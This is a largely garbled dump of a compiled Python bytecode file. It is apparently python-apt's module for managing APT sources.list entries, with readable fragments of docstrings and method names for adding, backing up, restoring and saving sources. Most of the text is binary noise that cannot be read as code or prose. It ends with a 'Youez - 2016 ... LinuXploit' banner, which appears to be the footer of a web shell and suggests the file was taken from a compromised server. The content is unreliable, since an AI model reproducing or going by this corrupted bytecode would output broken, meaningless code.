'dRMRTS'dRRP3S4,MRVV.pVP5V4V'dVP7RV,4RP3RV44R,p\9V4pVeWnVP<P?V4V^8dVP,P7V4V#VP,PAWo4V#)z�
Add a new source to the sources.list.
The method will search for existing matching repos and will try to
reuse them as far as possible
rtru:NNNc�4<�\VP4S8H#r:�r-r��r*r�s&�r�<lambda>�!SourcesList.add.<locals>.<lambda>
����c�!�/�/�*�m�;rF)r�r�rFr�r�c�4<�\VP4S8H#r:r�r�s&�rr�r�r�r)r�rFr�r�NrYrZ)r�r+rqrdz	[arch=%s]rxrkc3�8"�TFq'gKVx�K	R#5ir:r�)r��parts& rr��"SourcesList.add.<locals>.<genexpr>Ps���;�U�T�d�D�D�U�s�	�
r�)!r��
startswithr�r-�_SourcesList__findr�r$rir�r.r�r[r\r]rr�r�rHr�r�r�r�r+r�r�rl�extendrjrr�r�r�rC)r>rFr�r�r�r�r�r�r�rqr�r��sourcesr��new_comp�	new_entry�k�partsr�s&&&&&&&&f&         rr�SourcesList.add�s����$�z�z�|���?�?�3�'�����8�?�?�$�D��M�*�
��1�
���+�+�;������
�
���F�!���|�|�+��k�k�(�3�4��5�z�Q��%�
�
"���+�+�;������
���F����(�*��v�|�|�$��E�
�2�#'����u�(<�#=�F�L��
��������v�|�|�$��E�
�2�&+�F�O�!�M���<��>�>�+�+�,B�C�D��=�=��$�$�)�$�T�E�I�� ���6�:��!�&�*;�<�<�<�<����,�,�A�+1�>�>�!�+<�I�%�%�a�(�-�#�f�I�O�!�U�I�N� $�v�I��#�O��*.�}�*=�	�'�'.���$�!)�� ��R��;H��s�x�x�
�6�6�b����E�
�L�L�������S�7�]�+��8�8�;�U�;�;�d�B�D�#�D�)�I���!%�������9�%���7��I�I���Y�'���
�I�I���S�,��rc�$<�V^8�dQhRS[RR/#)r�source_entryrN)r�)rr6s"�rrr�]s���'�'�#9�'�d�'rc��\V\4'dVP4VPpVPPV4R#)z0remove the specified entry from the sources.listN)r�ryr~rqr+rA)r>r�s&&rrA�SourcesList.remove]s9���l�$=�>�>��"�"�$�'�.�.�L��	�	����&rc�$<�V^8�dQhRS[RR/#)r�
backup_extrNr5)rr6s"�rrr�ds���	5�	5��	5��	5rc�8�\PPR4p\PPW!,4'dC\PPV4'd\P!W!,V4\PPR4p\P!RV,4FMp\PPW!,4'gK0\P!W!,V4KO	R#)z8restore sources.list files based on the backup extensionrYr�z%s/*N)
r�r[r\r�r�r��shutil�copyr��glob)r>r�r�r�s&&  r�restore_backup�SourcesList.restore_backupds����~�~�'�'�(>�?��
�7�7�>�>�$�+�,�,�������1E�1E��K�K��)�4�0��>�>�*�*�+B�C���I�I�f�x�/�0�D��w�w�~�~�d�/�0�0����D�-�t�4�1rc�4<�V^8�dQhRS[R,RS[/#)rr�Nrr5)rr6s"�rrr�os���	�	��t��	�s�	rc�Z�\4pVf\P!R4pVPFvpVPV9gK\
PPVP4'gKG\P!VPVPV24Kx	V#)zxmake a backup of the current source files, if no backup extension
is given, the current date/time is used (and returned)z%y%m%d.%H%M)
r-�time�strftimer+r�r�r�r�r�r�)r>r��already_backupedr�s&&  r�backup�SourcesList.backuposx��+.�%�������}�5�J��i�i�F��{�{�"2�2�r�w�w�~�~�f�k�k�7R�7R����F�K�K�F�K�K�=���)E�F� ��rc�$<�V^8�dQhRS[RR/#)rr�rNr5)rr6s"�rrr�zs���F�F��F��Frc���\V4;_uu_4pVPR4'dE\P!V4F)pVPP\
W1VR74K+	M/VF)p\WA4pVPPV4K+	RRR4R# +'giR#;i \d)p\P!RTRTR24Rp?R#Rp?ii;i)z(re)load the current sourcesrZr�Nzcould not open file 'z': r�)�openr]r�Filer+rjrrr��logging�warning)r>r��frHr�r��excs&&     rr��SourcesList.loadzs���
	F��d���q��=�=��,�,�#*�<�<��?���	�	�(�(�):�7�t�)T�U�$3�!"��!,�T�!8���	�	�(�(��0�!"�������	F��O�O�3�D�6��S�E��D�E�E��	F�s5�B>�BB*� B>�*B;	�5B>�;B>�>C1�	C,�,C1c�&<�V^8�dQhRS[RS[/#)r�entryr)r�r�)rr6s"�rrr��s���&�&�1�&�c�&rc��\V\4'd&VPPVP4#VPPV4#r:)r�ryr+r$rq)r>rs&&rr$�SourcesList.index�s:���e�6�7�7��9�9�?�?�5�<�<�0�0��y�y���u�%�%rc�<�V^8�dQhRR/#r�r�)rr6s"�rrr��s�����t�rc��RpV'd�^pRpV^,\VP48gK/VPV,p\V\4'dhV^,pV\VP48dEVP	VPV,4'dVPVRpKSV^,
pK^V^,
pK�R#)z=Merge consecutive entries that have been split back together.TFN)rir+r�rr)r>�mergedrpr�js&    rr�SourcesList.merge�s�������A��F��a�%�#�d�i�i�.�(��	�	�!����e�%6�7�7��A��A��c�$�)�)�n�,� �;�;�t�y�y��|�4�4� $�	�	�!��%)�F���F�A��Q���rc�<�V^8�dQhRR/#r�r�)rr6s"�rrr��s�����d�rc�*�/p\VP4^8XdR\PP	R4pRp\VR4;_uu_4pVP
V4RRR4R#VP4VPF�pVPV9d$\VPR4WP&M7\V\4'd"WP,P
R4WP,P
VP44K�	VP4FpVP4K	R# +'giR#;i TP4FpTP4K	i;i)zsave the current sourcesrYz�## See sources.list(5) for more information, especialy
# Remember that you can only use http, ftp or file URIs
# CDROMs are managed through the apt-cdrom tool.
�wNr�)rir+r�r[r\r��writerr�r�rrrh�close)r>�filesr�r�r�r�s&     r�save�SourcesList.save�s��-/���t�y�y�>�Q���>�>�+�+�,B�C�D�E�
��d�C���A������!���
�
��		��)�)���;�;�e�+�)-�f�k�k�3�)?�E�+�+�&���(9�:�:��+�+�&�,�,�T�2��k�k�"�(�(�����6�$��\�\�^�����	�$�!�����\�\�^�����	�$�s�E�?B-E)�E&	�))Fc	�<�V^8�dQhRS[S[,RS[S[S[,S[S[S[S[,3,3,/#)rrDr)rr��tupler+�dictr
)rr6s"�rrr��s@���/�/�$�^�4�/�	�t�N�#�T�(�D��4H�*H�%I�I�	J�/rc�J�.p/pVF�pVPfKVPP'd2VPpWS9d.W5&W5,pVPV4K`\VPP4^8�gK�VPV4K�	W#3#)z5get all parent and child channels in the sources list)r�r�rjrir_)r>rD�parents�used_child_templatesr�r3�temps&&     r�check_for_relations�SourcesList.check_for_relations�s�����EG��"�F����&�����$�$�$��o�o���2�02�(�-�+�0�����F�#��v���/�/�0�1�4��N�N�6�*�#�$�.�.rc�0<�V^8�dQhRS[S[,/#r�)r+r�)rr6s"�rrr��s�����t�$:�;�rc�4�.pVPEFp\V\4'dVPV4K-\	VP
4^8XdH\	VP4^8Xd.\	VP4^8XdVPV4K�VP
FfpVPFSpVPF@pVP\W#WE44VPPVR,4KB	KU	Kh	EK	V#)a&Present an exploded view of the list where each entry corresponds exactly to a Release file.

A release file is uniquely identified by the triplet (type, uri, suite). Old style entries
always referred to a single release file, but deb822 entries allow multiple values for each
of those fields.
���)r+r�rrjrir�r�r�ryr�r�)r>�resrrr��suis&     rr��SourcesList.exploded_list�s���-/���Y�Y�E��%��-�-��
�
�5�!��E�K�K� �A�%���
�
�O�q�(�����%��*��
�
�5�!� �;�;�C�$�z�z��#(�<�<�C��J�J�'@��S�'V�W� �L�L�.�.�s�2�w�7�$0� *�'�� �
r)r�r+r�)Tz /usr/share/python-apt/templates/rr:)rUrVrWrXr<r?r�r�r�rrAr�r�r�r$rrrr�rYrZr[s@rrr�s�����@��
��� +�+�(��

�
�$���')�04�i�i�V'�'�	5�	5�	�	�F�F�&�&�
��$��8/�/�4�rc�Ha�]tRtRtoRtV3RlRltV3RlRltRtVtR#)	ri�zlmatcher class to make a source entry look nice
lots of predefined matchers to make it i18n/gettext friendly
c� <�V^8�dQhRS[/#)rr�r5)rr6s"�rr�SourceEntryMatcher.__annotate__�s�����C�rc�^�.Vn\P!RV,4pVF�p\PP	V4pVPR4pV^Vp\
W1R7pVPF.pVPfKVPPV4K0	K�	R#)z	%s/*.infoz.info)�base_dirN)	�	templatesr�r�r��basenamer~r�	match_urirj)r>r��
spec_filesr�rpr�r�s&&     rr?�SourceEntryMatcher.__init__�s���)+����Y�Y�{�[�8�9�
��A���� � ��#�A����w��A��!�A��A��A�4�D� �N�N���%�%�1��N�N�)�)�(�3�+��	rc�&<�V^8�dQhRS[RS[/#)rr�rr�)rr6s"�rrr#s�����2��t�rc��RpVPEFupVPeVPfK"VPe�VPe�VPe�VPe�\
P!VPVP4'di\
P!VPVP4'd8VPVP8XgVPR8XdRpW1n	V#VPVP4'gEKVPfEK(VPfEK9\
P!VPVP4'gEKmRpW1n	V#	V#)z%Add a matching template to the sourceFr|T)r&r�r�r(�
match_name�re�searchr�rFr�r')r>r��foundr�s&&  rr��SourceEntryMatcher.matchs�������H��z�z�!�V�[�[�%8���"�"�.��'�'�3��J�J�*��K�K�+��I�I�h�0�0�&�*�*�=�=��H�H�X�0�0�&�+�+�>�>�����
�
�-����%�1G���"*������"�"�6�:�:�.�.��'�'�3��K�K�+��H�H�X�0�0�&�+�+�>�>���"*�����7'�6�r)r&N)	rUrVrWrXr<r?r�rYrZr[s@rrr�s��������r�__main__zentry %sz!http://archive.ubuntu.com/ubuntu/z$http://de.archive.ubuntu.com/ubuntu/zis_mirror(): %sz http://archive.ubuntu.com/ubuntuz#http://de.archive.ubuntu.com/ubuntu)r'rrrrr)3r�r��ior��os.pathr�r.r�r�r��collections.abcrrr�typingrrrr	r
r�rdr�distinforr
r�__all__r'r.rr0r]ror�r�rryrr�r�rrrrU�init_configr�r�infor�mirrorr�rr�<module>r<s���4��	���	�
���8�8�9�9���(��C�L�����:�*�(�*�&
1��
1� 
/�H�g�a�j�
/� ��
z<�z<�zN �N �b~�~�B�{�$5�5�6����"�$=�=���
��s�s�l	1�1�j�z�������m�G������Z�%�)�)�+�-�.���+�-S��F��L�L�"�V�+�,��L�L��.�0V�	
��
�L�L��/�1V�	
��%r

Youez - 2016 - github.com/yon3zu
LinuXploit